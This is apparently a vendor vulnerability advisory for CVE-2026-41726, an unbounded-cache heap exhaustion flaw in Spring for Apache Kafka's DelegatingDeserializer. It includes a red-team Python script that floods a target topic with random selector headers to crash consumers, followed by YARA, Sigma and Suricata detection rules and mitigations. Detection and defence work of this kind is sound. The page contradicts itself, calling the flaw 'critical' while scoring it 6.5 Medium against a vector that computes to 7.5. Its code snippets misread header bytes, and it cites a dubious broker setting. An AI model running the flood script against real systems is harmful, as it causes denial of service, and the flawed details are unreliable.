CVE-2026-41726
Executive Summary
CVE-2026-41726 is a critical resource exhaustion vulnerability in the Spring for Apache Kafka framework. The flaw resides in the DelegatingDeserializer component, which is used to dynamically select a deserializer based on a Kafka record header (spring.kafka.serialization.selector). When an application opts into this feature, an unauthenticated attacker can send a continuous stream of Kafka records, each with a unique and random value in the spring.kafka.serialization.selector header. This causes the consumer to allocate new deserializer instances for each unique header value, leading to unbounded heap growth, garbage collection thrashing, and ultimately an OutOfMemoryError (OOM). The vulnerability affects all supported branches of Spring for Apache Kafka from 2.8.0 through 4.0.5.
Affected Ecosystem: Java / Spring Framework (Maven/Gradle packages: spring-kafka)
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is present in the official spring-kafka Maven artifact. Organizations using Spring Boot with Kafka integration are at risk if they have enabled DelegatingDeserializer (e.g., via spring.kafka.consumer.value-deserializer=org.springframework.kafka.support.serializer.DelegatingDeserializer). The package is distributed via Maven Central and is a transitive dependency for many Spring Boot applications. There is no known patch at the time of this report, making this a zero-day supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The attacker can send malicious Kafka records over the network.
- Attack Complexity: Low (AC:L) – No special conditions required; sending crafted records is straightforward.
- Privileges Required: None (PR:N) – No authentication needed to produce to the Kafka topic.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerability only affects the vulnerable component.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data corruption.
- Availability Impact: High (A:H) – Complete denial of service via OOM.
Threat Level: High for applications using DelegatingDeserializer in production. The attack is trivial to execute and requires no authentication to the Kafka broker (if the broker allows unauthenticated produce). The impact is a full application crash.
Deep Dive & Mechanics
The DelegatingDeserializer is a feature in Spring for Apache Kafka that allows a consumer to dynamically select a deserializer based on a Kafka record header. The header key is spring.kafka.serialization.selector, and its value is used to look up a deserializer from a configured map.
Vulnerable Code Path:
- The consumer receives a Kafka record.
- The
DelegatingDeserializer.deserialize()method is called. - It reads the
spring.kafka.serialization.selectorheader from the record. - It uses this header value as a key to retrieve a deserializer from an internal
ConcurrentHashMap. - If the key does not exist, it creates a new deserializer instance (or throws an error, depending on configuration) and caches it.
The Flaw: The cache is unbounded. An attacker can send records with unique, random header values (e.g., UUIDs). Each unique value causes a new entry in the cache. Over time, the cache grows without limit, consuming heap memory. The JVM will eventually trigger garbage collection (GC) more frequently, leading to GC thrash and finally an OutOfMemoryError.
Why it's dangerous:
- No rate limiting or cache eviction policy.
- The attacker does not need to send large payloads; only small records with unique headers.
- The attack can be sustained over time, gradually degrading performance until crash.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
public class DelegatingDeserializer implements Deserializer<Object> {
private final Map<String, Deserializer<?>> deserializers = new ConcurrentHashMap<>();
@Override
public Object deserialize(String topic, Headers headers, byte[] data) {
String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
Deserializer<?> deserializer = deserializers.computeIfAbsent(selector, key -> {
// Create new deserializer based on key
return createDeserializer(key);
});
return deserializer.deserialize(topic, headers, data);
}
}
Patched Code (Expected Fix):
public class DelegatingDeserializer implements Deserializer<Object> {
private final Map<String, Deserializer<?>> deserializers = new ConcurrentHashMap<>();
private final int maxCacheSize = 1000; // Configurable limit
@Override
public Object deserialize(String topic, Headers headers, byte[] data) {
String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
Deserializer<?> deserializer = deserializers.get(selector);
if (deserializer == null) {
if (deserializers.size() >= maxCacheSize) {
throw new DeserializationException("Deserializer cache full");
}
deserializer = createDeserializer(selector);
deserializers.put(selector, deserializer);
}
return deserializer.deserialize(topic, headers, data);
}
}
The fix would introduce a maximum cache size and reject new unique selectors once the limit is reached.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Access to a Kafka topic that the vulnerable consumer subscribes to.
- Ability to produce messages to that topic (no authentication required if broker allows).
Attack Script (Python using kafka-python):
from kafka import KafkaProducer
import uuid
producer = KafkaProducer(bootstrap_servers='target:9092')
topic = 'vulnerable-topic'
while True:
# Generate a unique random header value
unique_header = str(uuid.uuid4())
# Send a small payload with the malicious header
future = producer.send(topic,
value=b'payload',
headers=[('spring.kafka.serialization.selector', unique_header.encode())])
# Optionally, add a small delay to avoid overwhelming the network
# time.sleep(0.01)
Expected Outcome: The consumer's heap will grow linearly with the number of unique headers sent. After thousands of unique headers, the consumer will experience GC thrash and eventually crash with OutOfMemoryError.
Blue Team (Defense & Detection)
Mitigation Steps:
- Disable
DelegatingDeserializerif not required. Use a fixed deserializer instead. - Apply rate limiting at the Kafka broker level (e.g.,
max.message.bytes,message.max.count). - Monitor heap usage and set alerts for rapid growth.
- Use a custom deserializer that implements caching with a bounded size (e.g., using
Guava Cachewith eviction). - Upgrade to a patched version once available.
Detection:
- Monitor Kafka consumer logs for repeated
DeserializationExceptionorOutOfMemoryError. - Track the number of unique
spring.kafka.serialization.selectorheader values seen over time.
Indicators of Compromise (IOCs)
- Network: High volume of Kafka produce requests to a single topic with small payloads and unique
spring.kafka.serialization.selectorheaders. - Host: JVM heap dumps showing a large number of
Deserializerinstances in memory. - Logs: Repeated
OutOfMemoryErrororjava.lang.OutOfMemoryError: Java heap spacein application logs. - Metrics: Sudden increase in GC activity (e.g., GC pause time, frequency) and heap usage.
Detection Engineering
YARA Rule
rule CVE_2026_41726_Spring_Kafka_DelegatingDeserializer {
meta:
description = "Detects heap dumps or logs indicating unbounded DelegatingDeserializer cache"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-41726"
strings:
$s1 = "DelegatingDeserializer" nocase
$s2 = "spring.kafka.serialization.selector" nocase
$s3 = "OutOfMemoryError" nocase
$s4 = "Java heap space" nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4)
}
Sigma Rule
title: CVE-2026-41726 - Spring Kafka DelegatingDeserializer Heap Exhaustion
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OutOfMemoryError in Spring Kafka applications using DelegatingDeserializer
author: Valters IT
date: 2026-01-01
logsource:
category: application
product: java
detection:
selection:
EventID: 1001
Message|contains: 'OutOfMemoryError'
filter:
Message|contains: 'DelegatingDeserializer'
condition: selection and filter
falsepositives:
- Other OOM errors unrelated to this CVE
level: high
Suricata Rule
alert tcp any any -> any 9092 (msg:"CVE-2026-41726 Spring Kafka DelegatingDeserializer Attack"; flow:to_server; content:"spring.kafka.serialization.selector"; nocase; pcre:"/spring\.kafka\.serialization\.selector\x00[^\x00]{36,}/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable
DelegatingDeserializerin your Spring Kafka consumer configuration. Use a specific deserializer (e.g.,JsonDeserializer,StringDeserializer) instead. - If
DelegatingDeserializeris required, implement a custom wrapper that limits the cache size (e.g., usingLinkedHashMapwithremoveEldestEntry). - Apply network-level controls to restrict which producers can send to your Kafka topics (e.g., ACLs, SASL authentication).
Long-term Fix:
- Monitor the Spring project for an official patch. Once available, upgrade to the patched version (e.g., 4.0.6, 3.3.16, etc.).
- Consider using a static deserializer or a whitelist of allowed header values.
Workaround Code (Custom Bounded Deserializer):
public class BoundedDelegatingDeserializer implements Deserializer<Object> {
private final Map<String, Deserializer<?>> cache = new LinkedHashMap<String, Deserializer<?>>(100, 0.75f, true) {
@Override
protected boolean removeEldestEntry(Map.Entry<String, Deserializer<?>> eldest) {
return size() > 1000; // Max 1000 entries
}
};
@Override
public Object deserialize(String topic, Headers headers, byte[] data) {
String selector = headers.lastHeader("spring.kafka.serialization.selector").value().toString();
return cache.computeIfAbsent(selector, key -> createDeserializer(key))
.deserialize(topic, headers, data);
}
}
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst